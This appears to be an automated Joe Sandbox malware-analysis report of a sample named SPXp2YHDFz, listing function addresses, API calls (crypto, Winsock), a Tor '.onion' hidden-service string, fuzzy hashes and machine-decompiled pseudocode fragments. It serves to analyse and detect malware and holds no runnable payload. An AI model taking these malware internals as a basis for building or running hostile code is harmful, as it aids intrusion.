Part of subcall function 00007FF61D781720: _cwprintf_s_l.LIBCMT ref: 00007FF61D781791

Part of subcall function 00007FF61D788EE0: free.MSVCRT ref: 00007FF61D788F57
Part of subcall function 00007FF61D788EE0: free.MSVCRT ref: 00007FF61D788F62
Part of subcall function 00007FF61D788EE0: free.MSVCRT ref: 00007FF61D788F6D
Part of subcall function 00007FF61D788EE0: memcmp.MSVCRT ref: 00007FF61D788FC0
Part of subcall function 00007FF61D788EE0: free.MSVCRT ref: 00007FF61D789028
Part of subcall function 00007FF61D788EE0: free.MSVCRT ref: 00007FF61D78903F

free.MSVCRT ref: 00007FF61D784DEA
free.MSVCRT ref: 00007FF61D784DF5

Strings

hidden_service() [%s.onion], xrefs: 00007FF61D784D1E

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: free$memmove$CurrentLocalThreadTime_cwprintf_s_lmemcmp
String ID: hidden_service() [%s.onion]
API String ID: 1173836548-1866994827
Opcode ID: a38298dc3f930df87a8a9b8988b777f8b956483a94111b63e6975d383d0c947e
Instruction ID: 2b38e151e6a164ca77340ddc35393d96b242729229357a9a6973da158da79ccb
Opcode Fuzzy Hash: a38298dc3f930df87a8a9b8988b777f8b956483a94111b63e6975d383d0c947e
Instruction Fuzzy Hash: EC517F73A18F8196E7108F65E8803ADB360F789BA4F109226EB9D53795EF7CD554C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78D300 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 118COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00007FF61D78D3A1
free.MSVCRT ref: 00007FF61D78D425

Strings

gfffffff, xrefs: 00007FF61D78D332

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: freemalloc
String ID: gfffffff
API String ID: 3061335427-1523873471
Opcode ID: ed3bd4e19b1f0b84b4e066459c89d45ec25e91ecdbe25d286acdc12b21c96aa4
Instruction ID: 2d65be709731618a9ae4e883d7e0e4e0df81eb611857537c749446095e241143
Opcode Fuzzy Hash: ed3bd4e19b1f0b84b4e066459c89d45ec25e91ecdbe25d286acdc12b21c96aa4
Instruction Fuzzy Hash: F85127B6A05F4886DB04CF56E8443A873A4F358FE4F108626DE9D87754EF34D5A9C381

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78C16C Relevance: 3.8, APIs: 3, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E00007FF67FF61D78C16C(void* __eflags, long long __rbx, void* __rcx, long long __rdx, long long __rdi, void* __r9) {
				void* _v8;
				long long _v24;
				char _v32;
				char _v40;
				intOrPtr _v56;
				intOrPtr _v64;
				char _v72;
				long long _v80;
				char _v88;
				long long _v96;
				signed int _v104;
				void* _t34;
				void* _t35;
				void* _t36;
				void* _t40;
				long long _t45;
				long long _t48;
				intOrPtr _t53;
				char* _t59;
				void* _t66;
				void* _t67;
				void* _t70;
				long long _t74;

				_t36 = __eflags;
				_t40 = _t70;
				 *((long long*)(_t40 + 0x10)) = __rdx;
				_v96 = 0xfffffffe;
				 *((long long*)(_t40 + 8)) = __rbx;
				 *((long long*)(_t40 + 0x18)) = __rdi;
				_t48 = __rdx;
				_v104 = _v104 & 0x00000000;
				asm("inc ecx");
				asm("movdqu [ebp-0x50], xmm0");
				E00007FF67FF61D78C444(__rdx, __rcx + 0x10,  &_v40, _t66); // executed
				_v88 = _v32;
				_v80 = _v24;
				asm("movaps xmm0, [ebp-0x50]");
				asm("movdqa [ebp-0x50], xmm0");
				_t59 =  &_v88;
				_t34 = E00007FF67FF61D78BDB4(_t36, __rdx,  &_v72, _t59,  &_v88);
				_t53 = _v64;
				_t74 = _t53 + 0x14;
				_t45 = _v56 - _t53 + _t53;
				_v88 = _t74;
				_v80 = _t45;
				asm("movups xmm1, [edi]");
				asm("movdqa xmm0, xmm1");
				asm("psrldq xmm0, 0x8");
				asm("dec ax");
				asm("dec ax");
				if (_t74 - _t53 != _t59 - _t45) goto 0x1d78c238;
				0x1d79024d();
				if (_t34 != 0) goto 0x1d78c238;
				asm("movaps xmm0, [ebp-0x50]");
				asm("movdqa [ebp-0x50], xmm0");
				_t35 = E00007FF67FF61D78480C(_t45, _t48,  &_v88);
				goto 0x1d78c247;
				 *(_t48 + 8) =  *(_t48 + 8) & 0x00000000;
				 *(_t48 + 0x10) =  *(_t48 + 0x10) & 0x00000000;
				 *(_t48 + 0x18) =  *(_t48 + 0x18) & 0x00000000;
				_v104 = 1;
				free(_t67);
				free(??);
				return _t35;
			}

0x7ff61d78c16c
0x7ff61d78c16c
0x7ff61d78c16f
0x7ff61d78c17e
0x7ff61d78c186
0x7ff61d78c18a
0x7ff61d78c191
0x7ff61d78c194
0x7ff61d78c19c
0x7ff61d78c1a0
0x7ff61d78c1ad
0x7ff61d78c1b7
0x7ff61d78c1bf
0x7ff61d78c1c3
0x7ff61d78c1c7
0x7ff61d78c1cc
0x7ff61d78c1d4
0x7ff61d78c1da
0x7ff61d78c1de
0x7ff61d78c1e9
0x7ff61d78c1ec
0x7ff61d78c1f0
0x7ff61d78c1f4
0x7ff61d78c1fa
0x7ff61d78c1fe
0x7ff61d78c203
0x7ff61d78c208
0x7ff61d78c213
0x7ff61d78c218
0x7ff61d78c21f
0x7ff61d78c221
0x7ff61d78c225
0x7ff61d78c231
0x7ff61d78c236
0x7ff61d78c238
0x7ff61d78c23d
0x7ff61d78c242
0x7ff61d78c247
0x7ff61d78c252
0x7ff61d78c25d
0x7ff61d78c27a

APIs

Part of subcall function 00007FF61D78C444: CryptDestroyKey.ADVAPI32 ref: 00007FF61D78C528

Part of subcall function 00007FF61D78BDB4: free.MSVCRT ref: 00007FF61D78BE8D
Part of subcall function 00007FF61D78BDB4: free.MSVCRT ref: 00007FF61D78BEA0

memcmp.MSVCRT ref: 00007FF61D78C218
free.MSVCRT ref: 00007FF61D78C252
free.MSVCRT ref: 00007FF61D78C25D

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: free$CryptDestroymemcmp
String ID:
API String ID: 1923123817-0
Opcode ID: a02b9d1b1c29e0ea16e2db28918875cf6f0faec1b003cc5b4e904f73f9e2938e
Instruction ID: c6d8a1257c8b10caf05e3c8f6f01fc3e98e7af4429aacb9af71153e3eba051cb
Opcode Fuzzy Hash: a02b9d1b1c29e0ea16e2db28918875cf6f0faec1b003cc5b4e904f73f9e2938e
Instruction Fuzzy Hash: AC315962E10B5588EB008BB8D8413EC6371BB58BA8F149225CE5C6AA59EF78D589C340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D788CBC Relevance: 3.8, APIs: 3, Instructions: 38COMMON

Download Yara Rule

APIs

malloc.MSVCRT(?,?,?,00007FF61D788A32), ref: 00007FF61D788CFA
memmove.MSVCRT(?,?,?,00007FF61D788A32), ref: 00007FF61D788D15
free.MSVCRT(?,?,?,00007FF61D788A32), ref: 00007FF61D788D1E

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: freemallocmemmove
String ID:
API String ID: 2537350866-0
Opcode ID: cb9eb9a2ed89697fa92e4fc23e747db87d9e0d458d1591f75dbde80390508a67
Instruction ID: 26e3b87ba71b26126996ed83600cd19fba77bd368b6251411604f4bb8d134271
Opcode Fuzzy Hash: cb9eb9a2ed89697fa92e4fc23e747db87d9e0d458d1591f75dbde80390508a67
Instruction Fuzzy Hash: 49016D62A14F8485CB048F26E44008D7760F748FE4724863AEB6D177A8DF38D596C340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D784084 Relevance: 3.0, APIs: 2, Instructions: 30networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FF61D7840E6
atexit.KERNELBASE ref: 00007FF61D7840F3

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: Startupatexit
String ID:
API String ID: 549365519-0
Opcode ID: 7ca515f2007f9112b24cda09d7a00b75fc10e543868616847e1735064d9aebb3
Instruction ID: 8aeeabd9fed24cf191fc36f1d035c180a2f572f4170711ecffde1bcc31ceb7eb
Opcode Fuzzy Hash: 7ca515f2007f9112b24cda09d7a00b75fc10e543868616847e1735064d9aebb3
Instruction Fuzzy Hash: 12010832519F4191DB149F28E8400697365FB44B38B505339DABD833F4EF38D99AC340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78C594 Relevance: 2.6, APIs: 2, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00007FF67FF61D78C594(void* __eflags, long long __rbx, long long __rcx, void* __rdx, void* __r8, void* __r9) {
				void* __rsi;
				void* __rbp;
				void* _t24;
				void* _t29;
				long long* _t41;
				int _t47;
				int _t50;
				void* _t56;
				void* _t57;
				void* _t63;
				int _t66;
				int _t69;
				void* _t72;

				_t44 = __rdx;
				_t29 = _t56;
				 *((long long*)(_t29 + 8)) = __rcx;
				_t57 = _t56 - 0x1f0;
				 *((long long*)(_t57 + 0x20)) = 0xfffffffe;
				 *((long long*)(_t29 + 0x18)) = __rbx;
				 *((long long*)(__rcx)) = 0x1d793c70;
				r15d = 0;
				 *(__rcx + 8) = _t72;
				 *((long long*)(__rcx)) = 0x1d795398;
				 *((intOrPtr*)(_t57 + 0x60)) = 0x207;
				 *((intOrPtr*)(_t57 + 0x64)) = 0xaa02;
				 *((intOrPtr*)(_t57 + 0x68)) = 0x32484400;
				 *((intOrPtr*)(_t57 + 0x6c)) = 0x400;
				r8d = 0x180;
				memset(_t72, _t69, _t66);
				_t13 = _t72 + 3; // 0x3
				_t14 = _t44 + 0x7d; // 0x80
				r8d = _t14;
				asm("movups xmm0, [ecx]");
				asm("movups [eax], xmm0");
				asm("movups xmm1, [ecx+0x10]");
				asm("movups [eax+0x10], xmm1");
				asm("movups xmm0, [ecx+0x20]");
				asm("movups [eax+0x20], xmm0");
				asm("movups xmm1, [ecx+0x30]");
				asm("movups [eax+0x30], xmm1");
				asm("movups xmm0, [ecx+0x40]");
				asm("movups [eax+0x40], xmm0");
				asm("movups xmm1, [ecx+0x50]");
				asm("movups [eax+0x50], xmm1");
				asm("movups xmm0, [ecx+0x60]");
				asm("movups [eax+0x60], xmm0");
				asm("movups xmm1, [ecx+0x70]");
				asm("movups [eax-0x10], xmm1");
				if (__eflags != 0) goto 0x1d78c62b;
				asm("movups xmm0, [ecx]");
				asm("movups [eax], xmm0");
				_t41 = __rcx + 0x1a0;
				 *((long long*)(_t29 - 0x128 + 0x138)) = _t41;
				 *_t41 = 0x1d793c70;
				 *(_t41 + 8) = _t72;
				 *_t41 = 0x1d7948b0;
				r8d = 0x90;
				memset(_t63, _t47, _t50);
				 *((long long*)(__rcx)) = 0x1d795398;
				asm("movups xmm0, [edi]");
				asm("movdqu [esp+0x30], xmm0");
				asm("movups xmm1, [esi]");
				asm("movdqu [esp+0x40], xmm1");
				asm("inc ecx");
				asm("movdqu [esp+0x50], xmm0");
				_t24 = E00007FF67FF61D78CAD4(_t13, __rcx, __rcx, _t57 + 0x50, __r8, _t57 + 0x40, _t57 + 0x30); // executed
				return _t24;
			}

0x7ff61d78c594
0x7ff61d78c594
0x7ff61d78c597
0x7ff61d78c5ad
0x7ff61d78c5b4
0x7ff61d78c5bd
0x7ff61d78c5d4
0x7ff61d78c5d7
0x7ff61d78c5da
0x7ff61d78c5e5
0x7ff61d78c5e8
0x7ff61d78c5f0
0x7ff61d78c5f8
0x7ff61d78c600
0x7ff61d78c60a
0x7ff61d78c615
0x7ff61d78c623
0x7ff61d78c627
0x7ff61d78c627
0x7ff61d78c62b
0x7ff61d78c62e
0x7ff61d78c631
0x7ff61d78c635
0x7ff61d78c639
0x7ff61d78c63d
0x7ff61d78c641
0x7ff61d78c645
0x7ff61d78c649
0x7ff61d78c64d
0x7ff61d78c651
0x7ff61d78c655
0x7ff61d78c659
0x7ff61d78c65d
0x7ff61d78c664
0x7ff61d78c668
0x7ff61d78c673
0x7ff61d78c675
0x7ff61d78c678
0x7ff61d78c67b
0x7ff61d78c682
0x7ff61d78c689
0x7ff61d78c68c
0x7ff61d78c697
0x7ff61d78c69e
0x7ff61d78c6a4
0x7ff61d78c6aa
0x7ff61d78c6ad
0x7ff61d78c6b0
0x7ff61d78c6b6
0x7ff61d78c6b9
0x7ff61d78c6bf
0x7ff61d78c6c3
0x7ff61d78c6db
0x7ff61d78c6fe

APIs

memset.MSVCRT ref: 00007FF61D78C615
memset.MSVCRT ref: 00007FF61D78C6A4

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 54048dd01c7c7471bfb3a688a5754425893356593081fdcb83a042354dae8559
Instruction ID: 4c64b5d4bb32dc84b323ccb44581f0e629dc6da6182292c01d5f48e2f2e10cc3
Opcode Fuzzy Hash: 54048dd01c7c7471bfb3a688a5754425893356593081fdcb83a042354dae8559
Instruction Fuzzy Hash: 6A413D33D18F8582E712CF29E5016A97360F7A9B58F14E325DF9812656EF39E2DAC700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78B6B4 Relevance: 2.6, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E00007FF67FF61D78B6B4(long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, void* __r8, long long __r14) {
				void* _v8;
				long long _v16;
				long long _v24;
				long long _v32;
				char _v40;
				long long _v48;
				char _v56;
				long long _v72;
				void* _t39;
				void* _t45;
				intOrPtr _t51;
				intOrPtr _t65;
				intOrPtr _t66;
				void* _t72;
				void* _t75;
				void* _t78;

				_t45 = _t78;
				_v72 = 0xfffffffe;
				 *((long long*)(_t45 + 8)) = __rbx;
				 *((long long*)(_t45 + 0x10)) = __rsi;
				 *((long long*)(_t45 + 0x18)) = __rdi;
				 *((long long*)(_t45 + 0x20)) = __r14;
				_t75 = __r8;
				_t72 = __rcx;
				_t65 =  *((intOrPtr*)(__rcx + 0x30));
				goto 0x1d78b70a;
				if ( *((intOrPtr*)(__rcx + 0x48)) == 3) goto 0x1d78b70f;
				_t9 = _t65 + 4; // 0xa
				r8d = _t9;
				E00007FF67FF61D786248(6,  *((intOrPtr*)(__rcx + 0x38)),  *((intOrPtr*)(__rcx + 0x10)), __rcx, __r8); // executed
				_t51 =  *((intOrPtr*)(_t72 + 0x38));
				_t66 =  *((intOrPtr*)(_t72 + 0x30));
				if (_t51 == _t66) goto 0x1d78b6ea;
				_t53 =  <  ? _t75 : _t51 - _t66;
				memmove(??, ??, ??);
				_t47 =  *((intOrPtr*)(_t72 + 0x30)) + ( <  ? _t75 : _t51 - _t66);
				_v56 =  *((intOrPtr*)(_t72 + 0x30)) + ( <  ? _t75 : _t51 - _t66);
				_v48 =  *((intOrPtr*)(_t72 + 0x38));
				asm("movaps xmm0, [ebp-0x30]");
				asm("movdqa [ebp-0x30], xmm0");
				_t39 = E00007FF67FF61D78480C( *((intOrPtr*)(_t72 + 0x30)) + ( <  ? _t75 : _t51 - _t66),  &_v40,  &_v56);
				 *((long long*)(_t72 + 0x30)) = _v32;
				_v32 =  *((intOrPtr*)(_t72 + 0x30));
				 *((long long*)(_t72 + 0x38)) = _v24;
				_v24 =  *((intOrPtr*)(_t72 + 0x38));
				 *((long long*)(_t72 + 0x40)) = _v16;
				_v16 =  *((intOrPtr*)(_t72 + 0x40));
				free(??);
				return _t39;
			}

0x7ff61d78b6b4
0x7ff61d78b6bf
0x7ff61d78b6c7
0x7ff61d78b6cb
0x7ff61d78b6cf
0x7ff61d78b6d3
0x7ff61d78b6d7
0x7ff61d78b6dd
0x7ff61d78b6e4
0x7ff61d78b6e8
0x7ff61d78b6ee
0x7ff61d78b6f5
0x7ff61d78b6f5
0x7ff61d78b6fd
0x7ff61d78b702
0x7ff61d78b706
0x7ff61d78b70d
0x7ff61d78b715
0x7ff61d78b71f
0x7ff61d78b72c
0x7ff61d78b72f
0x7ff61d78b733
0x7ff61d78b737
0x7ff61d78b73b
0x7ff61d78b748
0x7ff61d78b756
0x7ff61d78b75a
0x7ff61d78b766
0x7ff61d78b76a
0x7ff61d78b776
0x7ff61d78b77a
0x7ff61d78b782
0x7ff61d78b7a4

APIs

memmove.MSVCRT ref: 00007FF61D78B71F
free.MSVCRT ref: 00007FF61D78B782

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: freememmove
String ID:
API String ID: 2988784210-0
Opcode ID: e2d4930fdf275def6ae2bb897de0fde1170aade3d5d12f8fbb626bc1b350c04d
Instruction ID: d12e7d8514357dbb364976f56a99abd4d21cb414053f7063440749456b510e6e
Opcode Fuzzy Hash: e2d4930fdf275def6ae2bb897de0fde1170aade3d5d12f8fbb626bc1b350c04d
Instruction Fuzzy Hash: D4310676B10F1096EB14CB66E9800AC7375F748BA4B189226DF5DA3B58DF34E5B1C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D782128 Relevance: 2.6, APIs: 2, Instructions: 62COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00007FF61D78216E
free.MSVCRT ref: 00007FF61D7821E5

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 9d22f9146ea4089c46c2129f20704d929fedaadef5abdfd3c8e3c4878c5d3fec
Instruction ID: db228c7afab2fac04a70d9815e93544827e2e5e2e18914bfa2d3da8444120f96
Opcode Fuzzy Hash: 9d22f9146ea4089c46c2129f20704d929fedaadef5abdfd3c8e3c4878c5d3fec
Instruction Fuzzy Hash: 6E21E6B6A01F4486DB448F55E884258B3A4F358FE5F24472ADBAD47394DF34D5A5C380

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D788E0C Relevance: 2.6, APIs: 2, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 32%

			E00007FF67FF61D788E0C(long long __rbx, void* __rcx, long long __rdi, char _a8) {
				void* _v8;
				long long _v24;
				char _v32;
				void* _v40;
				long long _v48;
				char _v56;
				long long _v64;
				signed int _v72;
				void* _t33;
				void* _t34;
				signed int _t36;
				signed int _t40;
				void* _t45;
				long long _t47;
				long long _t49;
				long long _t57;
				void* _t66;

				_t49 = __rbx;
				_t45 = _t66;
				_v64 = 0xfffffffe;
				 *((long long*)(_t45 + 0x10)) = __rbx;
				 *((long long*)(_t45 + 0x18)) = __rdi;
				_v72 = 0;
				asm("movups xmm0, [edx]");
				asm("movdqu [ebp-0x30], xmm0");
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x18)))) + 0x20))();
				_t47 = _v24;
				if (_t47 == _v32) goto 0x1d788ec3;
				malloc(??);
				_a8 = _t47;
				if (_t47 == 0) goto 0x1d788e9c;
				_t12 = _t49 + 1; // 0x1
				_t40 = _t12;
				_t36 = _t40;
				_v72 = _t40;
				_v56 = _v32;
				_v48 = _v24;
				asm("movaps xmm0, [ebp-0x30]");
				asm("movdqa [ebp-0x30], xmm0");
				_t33 = E00007FF67FF61D78776C(_t47, __rbx, _t47,  &_v56);
				goto 0x1d788e9f;
				_t57 = _t49;
				_a8 = _t57;
				 *((long long*)(__rcx + 0x10)) = _t57;
				_a8 =  *((intOrPtr*)(__rcx + 0x10));
				_t34 = E00007FF67FF61D7873F0(_t33, _t49,  &_a8);
				if ((_t36 & 0x00000001) == 0) goto 0x1d788ec3;
				_v72 = _t36 & 0xfffffffe;
				free(??);
				return _t34;
			}

0x7ff61d788e0c
0x7ff61d788e0c
0x7ff61d788e17
0x7ff61d788e1f
0x7ff61d788e23
0x7ff61d788e2c
0x7ff61d788e36
0x7ff61d788e39
0x7ff61d788e46
0x7ff61d788e4a
0x7ff61d788e52
0x7ff61d788e59
0x7ff61d788e5f
0x7ff61d788e66
0x7ff61d788e68
0x7ff61d788e6b
0x7ff61d788e6d
0x7ff61d788e6f
0x7ff61d788e76
0x7ff61d788e7e
0x7ff61d788e82
0x7ff61d788e86
0x7ff61d788e92
0x7ff61d788e9a
0x7ff61d788e9c
0x7ff61d788e9f
0x7ff61d788ea7
0x7ff61d788eab
0x7ff61d788eb3
0x7ff61d788ebb
0x7ff61d788ec0
0x7ff61d788ec7
0x7ff61d788ede

APIs

malloc.MSVCRT ref: 00007FF61D788E59

Part of subcall function 00007FF61D78776C: CryptHashData.ADVAPI32 ref: 00007FF61D7878EE

free.MSVCRT ref: 00007FF61D788EC7

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptDataHashfreemalloc
String ID:
API String ID: 4030236771-0
Opcode ID: 560dc681c6aeeef6509aac12022261b7368fd6a497fb6cb26200ee84d0ca9e19
Instruction ID: cbcd7e6e8ecc63c8406ee84de42b3219930ff9851d3cb0a46dd2a9b71dce903b
Opcode Fuzzy Hash: 560dc681c6aeeef6509aac12022261b7368fd6a497fb6cb26200ee84d0ca9e19
Instruction Fuzzy Hash: 70212A32B04F518AEB04CFA5E8814AC3370F748B68B144629EF6EA3B98EF74D555C340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D789E88 Relevance: 2.5, APIs: 2, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00007FF67FF61D789E88(long long __rbx, long long __rcx, void* __rdi, void* __rsi, void* __r10, long long _a8, long long _a16) {
				intOrPtr _v24;
				long long _v32;
				char _v40;
				long long _v48;
				char _v56;
				long long _v72;
				void* _t23;
				void* _t24;
				long long _t31;
				signed long long _t42;
				long long _t51;
				void* _t52;

				_v72 = 0xfffffffe;
				_a16 = __rbx;
				_t31 = __rcx;
				if ( *((char*)(__rcx + 0x28)) != 0) goto 0x1d789f36;
				_a8 = __rcx;
				EnterCriticalSection(??);
				if ( *((char*)(__rcx + 0x28)) != 0) goto 0x1d789f2d;
				_v56 =  *((intOrPtr*)(__rcx + 0x68));
				_v48 =  *((intOrPtr*)(__rcx + 0x70));
				asm("movaps xmm0, [ebp-0x30]");
				asm("movdqa [ebp-0x30], xmm0");
				_t42 =  &_v40;
				E00007FF67FF61D78851C( *((char*)(__rcx + 0x28)), __rcx,  *((intOrPtr*)(__rcx + 0x30)), _t42, __rdi, __rsi,  &_v56, __r10); // executed
				_t51 = _v32;
				asm("dec eax");
				_v56 = _t51;
				_v48 = (_t42 & _v24 - _t51 - 0x00000001) + _t51;
				asm("movaps xmm0, [ebp-0x30]");
				asm("movdqa [ebp-0x30], xmm0");
				_t23 = E00007FF67FF61D78DC14((_t42 & _v24 - _t51 - 0x00000001) + _t51, _t31, _t31,  &_v56, _t52); // executed
				 *((char*)(_t31 + 0x28)) = 1;
				_t24 = E00007FF67FF61D781BDC(_t23,  &_v40);
				LeaveCriticalSection(??);
				return _t24;
			}

0x7ff61d789e91
0x7ff61d789e99
0x7ff61d789e9e
0x7ff61d789ea5
0x7ff61d789eab
0x7ff61d789eaf
0x7ff61d789eba
0x7ff61d789ec4
0x7ff61d789ec8
0x7ff61d789ecc
0x7ff61d789ed0
0x7ff61d789ed9
0x7ff61d789ee1
0x7ff61d789eeb
0x7ff61d789ef9
0x7ff61d789f02
0x7ff61d789f06
0x7ff61d789f0a
0x7ff61d789f0e
0x7ff61d789f1a
0x7ff61d789f1f
0x7ff61d789f27
0x7ff61d789f30
0x7ff61d789f40

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF61D789EAF
LeaveCriticalSection.KERNEL32 ref: 00007FF61D789F30

Part of subcall function 00007FF61D781BDC: free.MSVCRT ref: 00007FF61D781BF2

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CriticalSection$EnterLeavefree
String ID:
API String ID: 4020351045-0
